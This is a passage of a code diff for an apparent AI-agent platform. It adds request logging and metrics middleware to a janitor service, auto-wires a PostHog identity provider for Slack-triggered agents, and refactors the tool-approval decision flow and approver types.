+ const out = deriveIdentityProviders(
+ { triggers: [SLACK], identity_providers: [{ kind: 'posthog', id: 'posthog', scopes: ['extra'] }] },
+ [QUERY]
+ )
+ expect(out).toEqual([{ kind: 'posthog', id: 'posthog', scopes: ['extra', 'query:read'] }])
+ })
+
+ it('leaves declared providers untouched when no native posthog tool is present', () => {
+ const declared = [{ kind: 'oauth2', id: 'github' }]
+ expect(deriveIdentityProviders({ triggers: [SLACK], identity_providers: declared }, [])).toEqual(declared)
+ })
+})
diff --git a/products/agent_platform/services/agent-janitor/src/http-utils.test.ts b/products/agent_platform/services/agent-janitor/src/http-utils.test.ts
new file mode 100644
index 000000000000..0720f7efa34b
--- /dev/null
+++ b/products/agent_platform/services/agent-janitor/src/http-utils.test.ts
@@ -0,0 +1,86 @@
+/**
+ * Unit tests for the janitor's `requestLogger` access-log middleware — the
+ * per-request trace the janitor previously lacked (a route's own
+ * `res.status(400)` left nothing to grep). Mirrors the ingress test.
+ */
+
+import express, { type Request, type Response } from 'express'
+import request from 'supertest'
+import { describe, expect, it } from 'vitest'
+
+import type { Logger } from '@posthog/agent-shared'
+
+import { requestLogger } from './http-utils'
+
+interface LogRecord {
+ level: 'debug' | 'info' | 'warn' | 'error'
+ obj: Record<string, unknown>
+ msg: string
+}
+
+function fakeLogger(): { records: LogRecord[]; log: Logger } {
+ const records: LogRecord[] = []
+ const mk =
+ (level: LogRecord['level']) =>
+ (obj: Record<string, unknown>, msg: string): void => {
+ records.push({ level, obj, msg })
+ }
+ const log = { debug: mk('debug'), info: mk('info'), warn: mk('warn'), error: mk('error') } as unknown as Logger
+ return { records, log }
+}
+
+const tick = (): Promise<void> => new Promise((resolve) => setImmediate(resolve))
+
+function appWith(log: Logger): express.Express {
+ const app = express()
+ app.use(requestLogger(log))
+ app.get('/ok', (_req: Request, res: Response) => {
+ res.json({ ok: true })
+ })
+ app.get('/bad', (_req: Request, res: Response) => {
+ res.status(400).json({ error: 'invalid_request' })
+ })
+ app.get('/boom', (_req: Request, res: Response) => {
+ res.status(500).json({ error: 'internal_error' })
+ })
+ app.get('/healthz', (_req: Request, res: Response) => {
+ res.json({ ok: true })
+ })
+ return app
+}
+
+const lastRequestLine = (records: LogRecord[]): LogRecord | undefined =>
+ records.filter((r) => r.msg === 'request').at(-1)
+
+describe('janitor requestLogger', () => {
+ it('logs one info line per 2xx with method, url, status, duration', async () => {
+ const { records, log } = fakeLogger()
+ await request(appWith(log)).get('/ok')
+ await tick()
+ const line = lastRequestLine(records)!
+ expect(line.level).toBe('info')
+ expect(line.obj).toMatchObject({ method: 'GET', url: '/ok', status: 200 })
+ expect(typeof line.obj.duration_ms).toBe('number')
+ })
+
+ it('logs a 400 at warn — the case that was previously invisible', async () => {
+ const { records, log } = fakeLogger()
+ await request(appWith(log)).get('/bad')
+ await tick()
+ expect(lastRequestLine(records)).toMatchObject({ level: 'warn', obj: { status: 400 } })
+ })
+
+ it('logs a 500 at error', async () => {
+ const { records, log } = fakeLogger()
+ await request(appWith(log)).get('/boom')
+ await tick()
+ expect(lastRequestLine(records)).toMatchObject({ level: 'error', obj: { status: 500 } })
+ })
+
+ it('demotes /healthz probe spam to debug', async () => {
+ const { records, log } = fakeLogger()
+ await request(appWith(log)).get('/healthz')
+ await tick()
+ expect(lastRequestLine(records)).toMatchObject({ level: 'debug' })
+ })
+})
diff --git a/products/agent_platform/services/agent-janitor/src/http-utils.ts b/products/agent_platform/services/agent-janitor/src/http-utils.ts
index 9f169a3654eb..e7839ca85de0 100644
--- a/products/agent_platform/services/agent-janitor/src/http-utils.ts
+++ b/products/agent_platform/services/agent-janitor/src/http-utils.ts
@@ -1,26 +1,100 @@
/**
- * Defensive HTTP middleware shared by every janitor route.
+ * Defensive HTTP middleware shared by every janitor route. Mirrors the
+ * ingress's `src/routing/http-utils.ts` so both services log + error the same.
+ *
+ * `requestLogger(log)` — first middleware. One structured line per request on
+ * completion, so every call (incl. a 400 from a route's own `res.status(400)`)
+ * leaves a trace — there was previously no janitor access log at all.
*
* `asyncHandler(fn)` — Express 4 doesn't catch rejections returned from
- * async route handlers; they become `unhandledRejection` instead of being
- * funneled through the global error middleware. Every async route should
- * be wrapped so its rejection lands in `next(err)`.
+ * async route handlers; they become `unhandledRejection`. Every async route
+ * should be wrapped so its rejection lands in `next(err)`.
*
* `errorHandler(log)` — Final express middleware. Maps known error shapes
- * to structured responses, logs with context, and ALWAYS returns JSON
- * (never an express HTML stack trace). Add new mappings here as new
- * typed errors get thrown from the storage / persistence layers.
+ * to structured JSON responses (never an express HTML stack trace).
*
- * Modeled on the ingress error handler at
- * `services/agent-ingress/src/routing/server.ts`. Kept local to janitor
- * (rather than promoted to agent-shared) because agent-shared deliberately
- * doesn't depend on express.
+ * Kept local to janitor (rather than promoted to agent-shared) because
+ * agent-shared deliberately doesn't depend on express.
*/
import type { NextFunction, Request, RequestHandler, Response } from 'express'
import { ZodError } from 'zod'
import type { Logger } from '@posthog/agent-shared'
+import { isMetricsExcludedPath, recordHttpRequest } from '@posthog/agent-shared'
+
+/**
+ * One structured log line per request, emitted on completion so it carries the
+ * final status + total duration. Level tracks the outcome (5xx → error, 4xx →
+ * warn, else info); `/metrics` + `/healthz` probes demote to debug. Listens on
+ * both `finish` and `close` so a client that aborts mid-response is logged with
+ * `aborted: true`.
+ */
+export function requestLogger(log: Logger): RequestHandler {
+ return (req, res, next) => {
+ const start = process.hrtime.bigint()
+ log.debug({ method: req.method, url: req.originalUrl }, 'request_start')
+ let logged = false
+ const emit = (): void => {
+ if (logged) {
+ return
+ }
+ logged = true
+ const fields = {
+ method: req.method,
+ url: req.originalUrl,
+ status: res.statusCode,
+ duration_ms: Math.round((Number(process.hrtime.bigint() - start) / 1e6) * 10) / 10,
+ ip: req.ip,
+ length: res.getHeader('content-length'),
+ ...(res.writableFinished ? {} : { aborted: true }),
+ }
+ if (isMetricsExcludedPath(req.path)) {
+ log.debug(fields, 'request')
+ } else if (res.statusCode >= 500) {
+ log.error(fields, 'request')
+ } else if (res.statusCode >= 400) {
+ log.warn(fields, 'request')
+ } else {
+ log.info(fields, 'request')
+ }
+ }
+ res.on('finish', emit)
+ res.on('close', emit)
+ next()
+ }
+}
+
+/**
+ * Records `agent_http_request_duration_seconds` per request. Mounted right
+ * after `requestLogger` so it sees 404s + body-parse rejections too. The
+ * `route` label is the express route PATTERN — never the resolved path — so
+ * per-revision ids can't blow up cardinality.
+ */
+export function httpMetricsMiddleware(): RequestHandler {
+ return (req, res, next) => {
+ if (isMetricsExcludedPath(req.path)) {
+ next()
+ return
+ }
+ const start = process.hrtime.bigint()
+ let recorded = false
+ const record = (): void => {
+ if (recorded) {
+ return
+ }
+ recorded = true
+ const route = req.route?.path ?? (res.statusCode === 404 ? 'unmatched' : 'unrouted')
+ recordHttpRequest(
+ { method: req.method, route: String(route), statusCode: res.statusCode },
+ Number(process.hrtime.bigint() - start) / 1e9
+ )
+ }
+ res.on('finish', record)
+ res.on('close', record)
+ next()
+ }
+}
export type AsyncRouteHandler = (req: Request, res: Response, next: NextFunction) => Promise<unknown> | unknown
diff --git a/products/agent_platform/services/agent-janitor/src/index.ts b/products/agent_platform/services/agent-janitor/src/index.ts
index c21fa32e81a3..85e28c0eb321 100644
--- a/products/agent_platform/services/agent-janitor/src/index.ts
+++ b/products/agent_platform/services/agent-janitor/src/index.ts
@@ -29,6 +29,7 @@ import {
MemoryStore,
MultiBackendSandboxTerminator,
PgApprovalStore,
+ PgIdentityAdminStore,
PgRevisionStore,
PgSandboxInstanceStore,
PgSessionQueue,
@@ -98,6 +99,9 @@ async function main(): Promise<void> {
// (same secret_env entries the runner reads).
const sandboxInstances = new PgSandboxInstanceStore(agentDb)
const sandboxTerminator = new MultiBackendSandboxTerminator(createModalSandboxTerminator())
+ // Keyless admin view over agent_user + agent_identity_credential for the
+ // console "Users" pane. No decryption key — metadata only.
+ const identityAdmin = new PgIdentityAdminStore(agentDb)
const sweep = {
queue,
@@ -158,6 +162,7 @@ async function main(): Promise<void> {
bundles,
memoryStore,
tabularStore,
+ identityAdmin,
internalSigningKey: config.internalSigningKey,
})
app.listen(config.port, () => {
diff --git a/products/agent_platform/services/agent-janitor/src/server.ts b/products/agent_platform/services/agent-janitor/src/server.ts
index edde1be1018d..55d05e0a7e61 100644
--- a/products/agent_platform/services/agent-janitor/src/server.ts
+++ b/products/agent_platform/services/agent-janitor/src/server.ts
@@ -53,11 +53,11 @@ import {
AgentSpecSchema,
ApprovalRequest,
ApprovalStore,
+ applyApprovalDecision,
BundleEntry,
BundleStore,
buildSlackManifest,
buildSystemPrompt,
- ConversationMessage,
createLogger,
EMPTY_USAGE_TOTAL,
FRAMEWORK_PROMPT_VERSION,
@@ -68,6 +68,7 @@ import {
isDev,
lastAssistantTextPreview,
MemoryStore,
+ PgIdentityAdminStore,
readTypedBundle,
RevisionStore,
SessionQueue,
@@ -75,17 +76,17 @@ import {
TabularStore,
verifyInternalJwt,
} from '@posthog/agent-shared'
-import { listNativeTools } from '@posthog/agent-tools'
+import { getNativeTool, hasNativeTool, listNativeTools } from '@posthog/agent-tools'
import { mountMemoryRoutes } from './api/memory'
import { mountTableRoutes } from './api/tables'
import { buildTypedBundleRouter } from './api/typed-bundle'
-import { buildApprovalDecidedMarker } from './approval-marker'
+import { mountUsersRoutes } from './api/users'
// compile-custom-tools.ts now exports `compileTypedTool` — wired by the
// typed PUT /tools/:id handler, not by freeze. Freeze just validates +
// seals; the compiled.js is already in the bundle by then.
import { fireCronManually } from './cron-tick'
-import { asyncHandler, errorHandler } from './http-utils'
+import { asyncHandler, errorHandler, httpMetricsMiddleware, requestLogger } from './http-utils'
import { SweepDeps, sweepOnce } from './sweep'
import { validateRevisionBundle } from './validate-spec'
@@ -112,6 +113,12 @@ export interface JanitorServerOpts {
memoryStore?: MemoryStore
/** Read-only tabular store for the console Tables view. */
tabularStore?: TabularStore
+ /**
+ * Keyless admin view over agent_user + agent_identity_credential for the
+ * console "Users" pane. When omitted, /users/* routes return 503. Holds no
+ * decryption key — metadata only.
+ */
+ identityAdmin?: PgIdentityAdminStore
/**
* Shared HMAC signing key — when set, the auth middleware requires
* `x-internal-secret: <jwt>` with `aud = agent-janitor.rpc` on every
@@ -133,6 +140,7 @@ const ListSessionsQuerySchema = z.object({
.transform((s) => (s ? s.split(',').filter(Boolean) : undefined))
.pipe(z.array(SessionStateSchema).optional()),
revision_id: z.string().optional(),
+ agent_user_id: z.string().optional(),
created_after: z.string().optional(),
created_before: z.string().optional(),
})
@@ -220,12 +228,52 @@ async function deriveSpec(args: {
...(args.rev.spec as Record<string, unknown>),
skills: derivedSkills,
tools: [...preservedTools, ...derivedTools],
+ identity_providers: deriveIdentityProviders(args.rev.spec as Record<string, unknown>, preservedTools),
}
return instrument({ key: 'derive.parseSpec', log, context: ctx }, () =>
Promise.resolve(AgentSpecSchema.parse(mergedSpec))
)
}
+/**
+ * Auto-wire the managed `posthog` identity provider when a Slack-triggered agent
+ * uses native PostHog tools: a Slack asker has no trigger-edge seed, so the link
+ * flow needs a provisioned OAuthApplication. We add (or scope-union) the provider
+ * with exactly the scopes its tools declare, so promote provisions an app with
+ * the right scopes. Chat/MCP agents resolve `posthog` off the seed and don't need
+ * this. `binding` defaults are applied by `AgentSpecSchema.parse`.
+ */
+export function deriveIdentityProviders(spec: Record<string, unknown>, nativeRefs: unknown[]): unknown[] {
+ const declared = (spec.identity_providers as Record<string, unknown>[] | undefined) ?? []
+ const triggers = (spec.triggers as { type?: string }[] | undefined) ?? []
+ if (!triggers.some((t) => t.type === 'slack')) {
+ return declared
+ }
+ const scopes = new Set<string>()
+ for (const ref of nativeRefs) {
+ const id = (ref as { kind?: string; id?: string }).kind === 'native' ? (ref as { id?: string }).id : undefined
+ if (!id || !hasNativeTool(id)) {
+ continue
+ }
+ const provider = getNativeTool(id).schema.requires.provider
+ if (provider?.id === 'posthog') {
+ for (const s of provider.scopes) {
+ scopes.add(s)
+ }
+ }
+ }
+ const idx = declared.findIndex((p) => p.kind === 'posthog')
+ if (idx === -1 && scopes.size === 0) {
+ return declared
+ }
+ if (idx === -1) {
+ return [...declared, { kind: 'posthog', id: 'posthog', scopes: [...scopes].sort() }]
+ }
+ const existing = declared[idx]
+ const merged = [...new Set([...((existing.scopes as string[] | undefined) ?? []), ...scopes])].sort()
+ return declared.map((p, i) => (i === idx ? { ...existing, scopes: merged } : p))
+}
+
const BackfillUsageBodySchema = z.object({
/**
* Walk sessions for this application. Required so a single call can't
@@ -305,6 +353,10 @@ export function buildJanitorApp(opts: JanitorServerOpts): Express {
}
})
}
+ // Access log + http metrics before json/auth so they see body-parse 400s,
+ // 401s, and 404s too. Every request now leaves one structured `request` line.
+ app.use(requestLogger(log))
+ app.use(httpMetricsMiddleware())
// JSON bodies up to 8MB cover any reasonable bundle bulk-push (TS source +
// a few markdown files). Larger bundles should land an S3 presigned URL
// path eventually; flagged in the bundle-push action below.
@@ -346,6 +398,7 @@ export function buildJanitorApp(opts: JanitorServerOpts): Express {
const filter = {
states: q.state as AgentSession['state'][] | undefined,
revisionId: q.revision_id,
+ agentUserId: q.agent_user_id,
createdAfter: q.created_after,
createdBefore: q.created_before,
}
@@ -378,7 +431,7 @@ export function buildJanitorApp(opts: JanitorServerOpts): Express {
/* ─────────────────────────── fleet stats ─────────────────────────── */
//
- // Rollups that power the agent-console overview tiles. Kept on the
+ // Rollups that power the fleet overview tiles. Kept on the
// janitor (rather than agent-ingress) because (a) Django already
// proxies through here for read-only authoring data, (b) these are
// not in the hot per-request path so SELECT-on-jsonb is fine.
@@ -620,86 +673,29 @@ export function buildJanitorApp(opts: JanitorServerOpts): Express {
return
}
const body = DecideApprovalBodySchema.parse(req.body)
- const existing = await getApprovalScoped(opts.approvals!, req)
- if (!existing) {
- res.status(404).json({ error: 'not_found' })
- return
- }
- if (existing.state !== 'queued') {
- res.status(409).json({ error: 'not_queued', state: existing.state })
- return
- }
-
- // edited_args is only honoured when spec opted in. We surface
- // a structured 422 so Django can map to a user-facing error
- // rather than silently dropping the edits.
- if (body.edited_args !== undefined && !existing.approver_scope.allow_edit) {
- res.status(422).json({ error: 'edits_not_allowed' })
- return
- }
-
- const decidedAt = new Date().toISOString()
- if (body.decision === 'approve') {
- const updated = await opts.approvals!.markApproving(req.params.id, {
- decided_by: body.decided_by,
- decided_at: decidedAt,
+ // Defence-in-depth tenant scope; Django always supplies it on the
+ // per-app routes. The shared helper runs the decide + wake so the
+ // ingress principal-decision API drives the identical transition.
+ const applicationId = typeof req.query.application_id === 'string' ? req.query.application_id : undefined
+ const result = await applyApprovalDecision(
+ { approvals: opts.approvals!, queue: opts.queue },
+ {
+ requestId: req.params.id,
+ applicationId,
+ decision: body.decision,
+ decidedBy: body.decided_by,
reason: body.reason,
- decided_args: body.edited_args,
- })
- if (!updated) {
- // Lost the race to another decider.
- res.status(409).json({ error: 'race_lost' })
- return
- }
- // Wake the session. The runner picks up the marker on its
- // next turn, dispatches the tool, finalises the row, and
- // pushes the synthetic approved tool_result into the
- // conversation. See run-turn.ts marker-processing block.
- const wake: ConversationMessage = {
- role: 'user',
- content: [{ type: 'text', text: buildApprovalDecidedMarker(updated.id) }],
- timestamp: Date.now(),
+ editedArgs: body.edited_args,
}
- await opts.queue.appendPendingInput(existing.session_id, wake)
- await opts.queue.update(existing.session_id, { state: 'queued' })
- res.json({ ok: true, state: updated.state })
- return
- }
-
- // reject: terminal-here. Materialise the synthetic rejection
- // straight into pending_inputs as a `user` message — see the
- // note in run-turn's marker processor for why this isn't a
- // toolResult (Anthropic 400s when a tool_result follows a
- // closing assistant message instead of its matching tool_use).
- const updated = await opts.approvals!.markRejected(req.params.id, {
- decided_by: body.decided_by,
- decided_at: decidedAt,
- reason: body.reason,
- })
- if (!updated) {
- res.status(409).json({ error: 'race_lost' })
+ )
+ if (!result.ok) {
+ const status = result.error === 'not_found' ? 404 : result.error === 'edits_not_allowed' ? 422 : 409
+ res.status(status).json(
+ result.state ? { error: result.error, state: result.state } : { error: result.error }
+ )
return
}
- const rejectedResult: ConversationMessage = {
- role: 'user',
- content: [
- {
- type: 'text',
- text: JSON.stringify({
- approval: {
- request_id: updated.id,
- state: 'rejected',
- decided_by: updated.decision_by ?? undefined,
- reason: updated.decision_reason ?? undefined,
- },
- }),
- },
- ],
- timestamp: Date.now(),
- }
- await opts.queue.appendPendingInput(existing.session_id, rejectedResult)
- await opts.queue.update(existing.session_id, { state: 'queued' })
- res.json({ ok: true, state: updated.state })
+ res.json({ ok: true, state: result.state })
})
)
@@ -795,7 +791,15 @@ export function buildJanitorApp(opts: JanitorServerOpts): Express {
const eventsUrl = typeof req.query.events_url === 'string' ? req.query.events_url : null
const interactivityUrl =
typeof req.query.interactivity_url === 'string' ? req.query.interactivity_url : null
- const scopeByTool = new Map(listNativeTools().map((t) => [t.id, t.schema.requires.scopes]))
+ // Slack scopes only: a tool contributes to the Slack app manifest
+ // iff its single credential provider is the `slack` bot. PostHog /
+ // other identity-provider scopes never leak into the Slack manifest.
+ const scopeByTool = new Map(
+ listNativeTools().map((t) => [
+ t.id,
+ t.schema.requires.provider?.id === 'slack' ? t.schema.requires.provider.scopes : [],
+ ])
+ )
try {
const { manifest, notes } = buildSlackManifest({
triggers: rev.spec.triggers ?? [],
@@ -1030,6 +1034,7 @@ export function buildJanitorApp(opts: JanitorServerOpts): Express {
// each exporting `mount*Routes(app, opts, log)` called here.
mountMemoryRoutes(app, { memoryStore: opts.memoryStore, log })
mountTableRoutes(app, { tabularStore: opts.tabularStore, log })
+ mountUsersRoutes(app, { identityAdmin: opts.identityAdmin, log })
// Last in the chain. Catches anything the route handlers threw (via
// asyncHandler), translates ZodError → 400, everything else → 500.
diff --git a/products/agent_platform/services/agent-runner/package.json b/products/agent_platform/services/agent-runner/package.json
index 5535347bec5d..cc463ba59761 100644
--- a/products/agent_platform/services/agent-runner/package.json
+++ b/products/agent_platform/services/agent-runner/package.json
@@ -14,6 +14,8 @@
},
"scripts": {
"lint": "oxlint --quiet .",
+ "format": "oxfmt .",
+ "format:check": "oxfmt --check .",
"typescript:check": "tsc --noEmit -p .",
"test": "vitest run",
"start": "tsx src/index.ts",
diff --git a/products/agent_platform/services/agent-runner/src/config.ts b/products/agent_platform/services/agent-runner/src/config.ts
index 25b14eedc950..b25cb8f27fbe 100644
--- a/products/agent_platform/services/agent-runner/src/config.ts
+++ b/products/agent_platform/services/agent-runner/src/config.ts
@@ -238,6 +238,13 @@ export const AgentRunnerConfigSchema = PlatformConfigSchema.extend({
.describe(
'Comma-separated CIDRs the Modal custom-tool sandbox may reach outbound. Empty (default) → the sandbox has NO outbound internet (Modal `block_network`). Custom tools compute and return; the runner makes any egress through smokescreen. Set only if a custom tool genuinely needs direct egress to a known range.'
),
+ linkRedirectBaseUrl: z
+ .string()
+ .url()
+ .default(() => (isDev() ? 'http://localhost:3030' : 'https://agents.posthog.com'))
+ .describe(
+ 'Public base URL of the ingress, used to build OAuth callback redirect URIs for identity linking (`<base>/link/<provider>/callback`). Dev defaults to the local ingress; prod sets the deployed ingress URL.'
+ ),
})
export type AgentRunnerConfig = z.infer<typeof AgentRunnerConfigSchema>
@@ -277,6 +284,7 @@ const ENV_KEY_MAP = extendEnvKeyMap<AgentRunnerConfig>(PLATFORM_ENV_KEY_MAP, {
SANDBOX_OUTBOUND_CIDR_ALLOWLIST: 'sandboxOutboundCidrAllowlist',
MODAL_APP_NAME: 'modalAppName',
MODAL_REGION: 'modalRegion',
+ AGENT_INGRESS_PUBLIC_URL: 'linkRedirectBaseUrl',
})
export function loadAgentRunnerConfig(env: NodeJS.ProcessEnv = process.env): AgentRunnerConfig {
diff --git a/products/agent_platform/services/agent-runner/src/index.ts b/products/agent_platform/services/agent-runner/src/index.ts
index 3ab5a732be1c..e98af9e8a8c8 100644
--- a/products/agent_platform/services/agent-runner/src/index.ts
+++ b/products/agent_platform/services/agent-runner/src/index.ts
@@ -7,8 +7,9 @@
*
* - agentDb (AGENT_DB_URL): the queue / runtime database, owns
* agent_session, agent_user, agent_sandbox_instance. Schema is
- * managed by @posthog/agent-migrations; this entry applies any
- * pending migrations on boot (idempotent).
+ * Django-owned (migrations in products/agent_platform/backend/migrations/,
+ * applied in prod by the migrate_product_databases job); the runner
+ * is a pure client and never migrates.
*
* In dev / CI both env vars can point at the same Postgres; production
* deploys them separately so high-churn runtime writes don't pressure the
@@ -42,6 +43,8 @@ import {
NoopAnalyticsSink,
PgApprovalStore,
PgCredentialBroker,
+ PgIdentityCredentialStore,
+ PgIdentityLinkStateStore,
PgIdentityStore,
PgIntegrationStore,
PgRevisionStore,
@@ -59,7 +62,6 @@ import {
} from '@posthog/agent-shared'
import { defaultApiKeyFromConfig, loadAgentRunnerConfig } from './config'
-import { makePerAskerAuth } from './loop/per-asker-auth'
import { posthogAiGatewayModel } from './models/ai-gateway-model'
import { resolveModelCached } from './models/pi-client'
import { makeEncryptedEnvResolver } from './resolvers/encrypted-env-resolver'
@@ -197,14 +199,13 @@ async function main(): Promise<void> {
})
}
- // Per-asker authorisation shortcut for approval-gated tools (#23 step 3).
- // Lets a Slack user who's already a team admin drive a gated tool
- // directly via chat instead of going through the queued-approval UI.
- // Reuses the same identity table the ingress writes through. Threaded
- // into `WorkerDeps.isAskerInApproverScope` → driver → gated tool's
- // pre-queue check in build-agent-tools.
+ // Principal → agent_user mapping the ingress writes through; consulted by
+ // the runtime identity providers (spec.identity_providers).
const identities = new PgIdentityStore(agentDb)
- const isAskerInApproverScope = makePerAskerAuth({ identities, posthogDb })
+ // Persistent linked-credential store backing the runtime identity providers.
+ const identityCredentials = new PgIdentityCredentialStore(agentDb, {
+ encryptionSaltKeys: config.encryptionSaltKeys,
+ })
// Gateway read client for /v1/usage + /v1/wallet/balance lookups.
// ai-gateway is a cluster-internal service — use the direct client so the
// call doesn't hit smokescreen (which would refuse it as RFC1918). The
@@ -343,7 +344,12 @@ async function main(): Promise<void> {
maxOutputTokens: config.maxOutputTokens,
memoryStore,
tabularStore,
- isAskerInApproverScope,
+ // Per-principal identity linking (spec.identity_providers): reuse the
+ // same agent DB + encryption the credential broker uses.
+ identityCredentials,
+ identityLinks: new PgIdentityLinkStateStore(agentDb),
+ identities,
+ linkRedirectBaseUrl: config.linkRedirectBaseUrl,
devMcpBearerToken: config.devMcpBearerToken,
// Per-integration-kind host allowlist. Without this, any external MCP
// ref with `auth.integration` fails closed at open with
diff --git a/products/agent_platform/services/agent-runner/src/lib.ts b/products/agent_platform/services/agent-runner/src/lib.ts
index 15c495f6cc9f..0aa986e97486 100644
--- a/products/agent_platform/services/agent-runner/src/lib.ts
+++ b/products/agent_platform/services/agent-runner/src/lib.ts
@@ -11,7 +11,6 @@
export * from './loop/driver'
export * from './loop/build-agent-tools'
export * from './loop/mcp-clients'
-export * from './loop/per-asker-auth'
export * from './loop/provider-safe-names'
export * from './workers/worker'
export * from './models/pi-client'
diff --git a/products/agent_platform/services/agent-runner/src/loop/approval-marker.ts b/products/agent_platform/services/agent-runner/src/loop/approval-marker.ts
deleted file mode 100644
index 7235d326fcf0..000000000000
--- a/products/agent_platform/services/agent-runner/src/loop/approval-marker.ts
+++ /dev/null
@@ -1,37 +0,0 @@
-/**
- * Internal sentinel used to pass approval decisions from the janitor into a
- * waking runner turn without changing the conversation-message schema.
- *
- * The janitor's `/approvals/:id/decide` endpoint appends a `role: 'user'`
- * message with `text` of the form `<MARKER_PREFIX>:<request_id>` into the
- * session's `pending_inputs`. At turn start the runner scans pending_inputs
- * for these markers BEFORE the usual drain — for each marker it dispatches
- * the approved tool, finalises the approval row, and pushes the synthetic
- * tool_result onto conversation. The marker itself never lands in
- * conversation, so the model never sees the sentinel string.
- *
- * Why a magic string and not a dedicated message kind: v0 ships without a
- * schema migration on pending_inputs. v1 may swap this for a proper
- * internal-only message type once the runner has a settled story for them.
- */
-
-export const APPROVAL_DECIDED_MARKER_PREFIX = '__POSTHOG_APPROVAL_DECIDED__'
-
-/**
- * Build the marker text for a request id. The janitor uses this to compose
- * the synthetic pending_input on approval.
- */
-export function buildApprovalDecidedMarker(requestId: string): string {
- return `${APPROVAL_DECIDED_MARKER_PREFIX}:${requestId}`
-}
-
-/**
- * Parse a marker text back to its request id, returning null when the
- * message isn't a marker.
- */
-export function parseApprovalDecidedMarker(text: string): string | null {
- if (!text.startsWith(`${APPROVAL_DECIDED_MARKER_PREFIX}:`)) {
- return null
- }
- return text.slice(APPROVAL_DECIDED_MARKER_PREFIX.length + 1)
-}
diff --git a/products/agent_platform/services/agent-runner/src/loop/approval.test.ts b/products/agent_platform/services/agent-runner/src/loop/approval.test.ts
index e700d81e4cd8..f399e70f2830 100644
--- a/products/agent_platform/services/agent-runner/src/loop/approval.test.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/approval.test.ts
@@ -87,9 +87,8 @@ function makeStubStore(): ApprovalStore {
}
const POLICY: ApprovalPolicy = {
- approvers: ['team_admin'],
+ type: 'principal',
allow_edit: false,
- allow_agent_approver: false,
ttl_ms: 60_000,
}
@@ -98,7 +97,7 @@ function parseEnvelope(text: string): { approval: Record<string, unknown> } {
}
describe('queueApprovalResult: model-facing envelope', () => {
- it('includes approver_hint + approval_url for the default (non-posthog-code) session', async () => {
+ it('includes a principal approver_hint + approval_url for the default (non-posthog-code) session', async () => {
const store = makeStubStore()
const out = await queueApprovalResult({
approvals: store,
@@ -114,11 +113,31 @@ describe('queueApprovalResult: model-facing envelope', () => {
const envelope = parseEnvelope((out.content[0] as { text: string }).text)
expect(envelope.approval).toMatchObject({
state: 'queued',
- approver_hint: expect.stringMatching(/admin/i),
+ approver_hint: expect.stringMatching(/started this session/i),
approval_url: expect.stringContaining('https://console.example.com/approvals?request='),
})
})
+ it('uses an owner/admin approver_hint for an agent-type policy', async () => {
+ const store = makeStubStore()
+ const out = await queueApprovalResult({
+ approvals: store,
+ buildApprovalUrl: (id) => `https://console.example.com/approvals?request=${id}`,
+ session: makeSession(),
+ revisionId: TEST_REV_ID,
+ turn: 1,
+ toolName: '@posthog/memory-write',
+ toolCallId: 'tc-1',
+ args: { note: 'apples' },
+ policy: { ...POLICY, type: 'agent' },
+ })
+ const envelope = parseEnvelope((out.content[0] as { text: string }).text)
+ expect(envelope.approval).toMatchObject({
+ state: 'queued',
+ approver_hint: expect.stringMatching(/owner or admin/i),
+ })
+ })
+
it('omits approver_hint + approval_url when the session was opened by posthog-code', async () => {
const store = makeStubStore()
const out = await queueApprovalResult({
diff --git a/products/agent_platform/services/agent-runner/src/loop/approval.ts b/products/agent_platform/services/agent-runner/src/loop/approval.ts
index cdce9c2da0c6..b43e140546f0 100644
--- a/products/agent_platform/services/agent-runner/src/loop/approval.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/approval.ts
@@ -26,23 +26,25 @@ import {
AgentSession,
ApprovalRequest,
ApprovalStore,
+ type ApprovalType,
AssistantMessageRecord,
CLIENT_KIND_POSTHOG_CODE,
ConversationMessage,
hashCanonicalArgs,
+ parseApprovalDecidedMarker,
readSessionClientKind,
} from '@posthog/agent-shared'
-import { parseApprovalDecidedMarker } from './approval-marker'
import type { RealToolExecute, ToolResultDetails } from './build-agent-tools'
-const APPROVER_HINT_TEAM_ADMINS = 'an authorized admin on this team'
+// Who the model should tell the user to expect a decision from, by approval type.
+const APPROVER_HINT_PRINCIPAL = 'you — the person who started this session'
+const APPROVER_HINT_AGENT = 'an owner or admin of this agent'
/** `ToolRef.approval_policy` after Zod parsing. */
export interface ApprovalPolicy {
- approvers: readonly string[]
+ type: ApprovalType
allow_edit: boolean
- allow_agent_approver: boolean
ttl_ms: number
}
@@ -95,9 +97,8 @@ export async function queueApprovalResult(input: {
timestamp: Date.now(),
},
approver_scope: {
- approvers: [...input.policy.approvers],
+ type: input.policy.type,
allow_edit: input.policy.allow_edit,
- allow_agent_approver: input.policy.allow_agent_approver,
},
expires_at: new Date(Date.now() + input.policy.ttl_ms).toISOString(),
})
@@ -115,7 +116,7 @@ export async function queueApprovalResult(input: {
state: 'queued',
}
if (!suppressApprovalChannel) {
- approval.approver_hint = APPROVER_HINT_TEAM_ADMINS
+ approval.approver_hint = input.policy.type === 'agent' ? APPROVER_HINT_AGENT : APPROVER_HINT_PRINCIPAL
approval.approval_url = buildUrl(upsert.request.id)
}
if (!upsert.deduped && previous && isTerminal(previous.state)) {
@@ -124,7 +125,7 @@ export async function queueApprovalResult(input: {
return {
content: [{ type: 'text', text: JSON.stringify({ approval }) }],
- details: { queued: true, requestId: upsert.request.id },
+ details: { queued: true, requestId: upsert.request.id, deduped: upsert.deduped },
terminate: false,
}
}
diff --git a/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.test.ts b/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.test.ts
index 5754bf60c26b..6c27ff76fffa 100644
--- a/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.test.ts
+++ b/products/agent_platform/services/agent-runner/src/loop/build-agent-tools.test.ts
@@ -6,13 +6,11 @@ import {
AgentSession,
AgentSpecSchema,
buildTestBundleStore,
- type CredentialBroker,
EMPTY_USAGE_TOTAL,
type HttpFetcher,
HttpClient,
InProcessSandboxPool,
McpRef,
- MemoryCredentialBroker,
newTestPrefix,
S3BundleStore,
ToolRefSchema,
@@ -166,15 +164,18 @@ function byId(
/**
* `@posthog/query` (like every `@posthog/*` data tool) runs AS the connected
- * user through the credential broker. makeSession's principal is `posthog`
- * (team 1), so these tools just need a `posthog_api` bearer — mirroring what
- * the ingress verifier writes for a `posthog`-auth session — plus an HTTP
- * endpoint to hit.
+ * user, resolving its bearer through `ctx.identity` (the dispatch wrapper
+ * pre-resolves the tool's `requires.provider`). This fake resolves `posthog` to
